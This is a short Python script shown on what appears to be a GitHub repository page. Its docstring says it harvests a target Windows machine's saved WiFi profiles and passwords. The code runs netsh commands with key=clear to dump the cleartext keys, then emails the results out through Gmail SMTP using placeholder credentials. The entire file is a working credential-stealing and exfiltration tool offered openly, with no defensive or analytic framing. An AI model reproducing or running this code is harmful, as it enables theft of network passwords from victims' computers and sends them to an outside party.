-
Notifications
You must be signed in to change notification settings - Fork 0
/
execute_and_report.py
28 lines (21 loc) · 933 Bytes
/
execute_and_report.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
'''
This tool collects the information about target's (Windows machine) WiFi networks and passwords.
The report is than sent by e-mail using SMTP.
'''
import subprocess, smtplib, re
def send_mail(email, password, message): #sendmail function
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall(b"(?:Profile\s*:\s)(.*)", networks)
result = "" # initiating results variable outside the loop
for network_name in network_names_list:
command = "netsh wlan show profile "+network_name.decode()+" key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result.decode()
send_mail("email@gmail.com", "password", result)